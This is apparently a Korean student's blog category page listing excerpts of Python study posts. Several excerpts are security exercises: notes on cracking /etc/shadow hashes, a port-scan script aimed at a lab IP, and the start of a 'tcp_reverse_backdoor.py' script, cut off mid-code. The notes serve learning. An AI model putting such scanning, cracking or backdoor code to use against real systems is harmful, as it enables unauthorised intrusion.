일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 운정 소바동
- graphql
- 비동기배열처리방법
- 예쁜술집 예술
- promise메서드
- 지보싶 신촌점
- 잠실새내
- 홍대 예술
- 화이트해커를 위한 웹 해킹의 기술
- graphql 400
- 앙버터마카롱
- 화이트 해커를 위한 웹 해킹의 기술
- 홍대 카페 장쌤
- useMutation error
- typescript
- apollo react native
- apolloclient
- graphql with RN
- 신촌 소문난집
- 고르드
- promise처리
- graphql react native
- 토라비
- graphql with reactnative
- 비동기배열
- 홍대 토라비
- 금별맥주
- 잠실새내 도그존
- graphql mutation error
- 도그존
- Today
- Total
목록개발/Python (8)
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
Today I Learned : python locust를 이용한 부하 테스트를 진행하는 방법을 알아보았다. 배경 기존에 팀에서 웹 서버 개발에 사용하던 프레임워크는 장고와 플라스크였고 특히 flask 의 경우에는 내장 웹서버로 인해 한번에 한사람만 접근하기에 적합했고 이를 해결하기 위해 그동안 nginx + gunicorn으로 배포를 해왔다. 그런데 내가 맡은 프로젝트에서 golang 을 이용해서 서버를 개발했고 이를 배포하는 단계에서 golang 은 flask 처럼 gunicorn 과 nginx를 이용해서 배포하는 과정이 필수인지 알고 싶었다. 기존에는 gunicorn에서 workers를 추가하여 마치 n개의 서버가 하나의 서버처럼 돌아가도록 배포했다면 (추정) golang 서버도 worker를 추가..
프로그래머스로 python 스택문제, 해시 함수 이용하는 문제를 시도해봤다. 학교 강의 시간에 데이터 구조로 스택과 해시 함수를 C언어로 사용해보았기 때문에 잘 풀 수 있을거라고 생각했는데... 착각이었다... python의 문법은 C와 너무 많이 달랐고, 나는 python은 2019년도에 들었던 강의가 마지막이기 때문에 배운것도 남아있지 않고 오히려 다 지워진 상태에서 막 시도한 것 같다. 그래도 시도하면서 파이썬 문법을 점점 알아갈 수 있겠지..! 처음에 생각했던 스택 구조는 아래와 같았다. class Stacklist: def __init__(self,s_size): self.size=s_size self.top=-1 self.slist=[0 for a in range(self.size)] def ..
윈도우 메시지 (Windows message) :사용자가 응용프로그램과 상호작용하기 위해 사용하는 이벤트와 운영체제의 이벤트를 말한다. 사용자의 이벤트: 마우스 클릭, 키 입력, 터치 스크린 제스처 등 운영체제 이벤트: 윈도우 저전력 모드 혹은 최대 절전모드로 전환 등 운영체제는 윈도우 메시지를 응용프로그램에 전달하여 응용 프로그램 창과 통신한다. 이때 메시지는 (특정 이벤트를 지정하는)숫자 코드로 전달된다. 운영체제는 해당하는 창의 프로시저를 통해 메시지를 올바르게 전달한다. 메시지 루프(Message Loop) 응용 프로그램은 실행되는 동안 수천 개의 메시지를 처리하게 되는데, 적절하게 메시지를 가져와서 올바른 창에 배포, 처리하기 위해 루프를 사용한다. 응용 프로그램의 창을 만드는 각 스레드에 대해..
unix /etc/passwd, /etc/shadow unix에서는 passwd라는 파일에 사용자 정보들을 담고 있다. 초기에는 passwd 파일에 해시 값을 직접 보관했으나, /etc/shadow 파일로 분리되었다. /etc/shadow 파일에는 민감한 정보가 Hash 스트링으로 변환되어 저장되어 있다. 일반 유저는 접근할 수 없다. Unix 패스워드 크래커 shadow 파일의 hash library 값과 공격자의 입력을 해시한 값과 비교해서 일치하는 패스워드를 얻어낸다. /etc/shadow 파일 분석 기본적으로 shadow파일은 위와 같은 형식을 띈다. 패스워드 크래커에서 눈여겨보아야할 부분은 encrypted 이다. encrypted는 $로 구분되어 있으며, 첫번째 자리에는 hash id, 두번째..
#기본적인 TCP 포트 스캔 import socket ip = "192.168.245.131" #취약한 서버 IP 주소 portNums = list(range(1023)) with open("portScanResult.txt",'w') as f: for portNum in portNums: try: with socket.socket() as s: s.settimeout(2) print("[*] try to connect to {}:{}".format(ip, portNum)) s.connect((ip, portNum)) s.send("Python Connect\n".encode()) banner = s.recv(1024) if banner: f.write("[+] {} port is opened: {}\n..
백도어 코드 import os, socket, sys def usage(): # help print(''' tcp_reverse_backdoor.py ''' ) exit() if len(sys.argv) >'''.encode()) while True: data = s.recv(1024).decode().lower() if "q" == data: # 프로그램 종료 ex..
HTTP 기초 -> 2020/09/08 - [웹/웹 기초] - HTTP python을 이용해서 HTTP 요청 메시지를 간단하게 보내보자. 1. GET 요청메시지 import requests host = "http://192.168.56.105" res =requests.get(host) #응답 #응답 태그 읽기 print(res.status_code) #200일때 잘 실행된 것 print(res.raise_for_status()) #오류일 때 오류 확인용 print(res.content) print(res.text) 2. GET 요청 메시지에 파라미터를 같이 전달 import requests host="https://www.naver.com/" my_prams = {'id':'my_id', 'pw':'p..
Python에서 소켓을 사용하려면 socket을 import 해야함 Client 소켓 구현 import socket #1번째 방법 with socket.socket() as s: #close를 해주지 않아도 자동으로 닫음 addr=("www.daum.net",80) #도메인 주소, 포트, 443web s.connect(addr)#통신 시작 s.send("GET \n".encode()) #GET 메서드, 네트워크로 데이터를 보내려면 encoding을 해주어야함 data=s.recv(1024)#데이터 1024byte만큼 받기 print(data.decode()) #2번째 방법 s=socket.socket() s.close를 해주어야함 GET 메서드를 encoding해서 서버에게 리소스를 요청하고 서버로부터 ..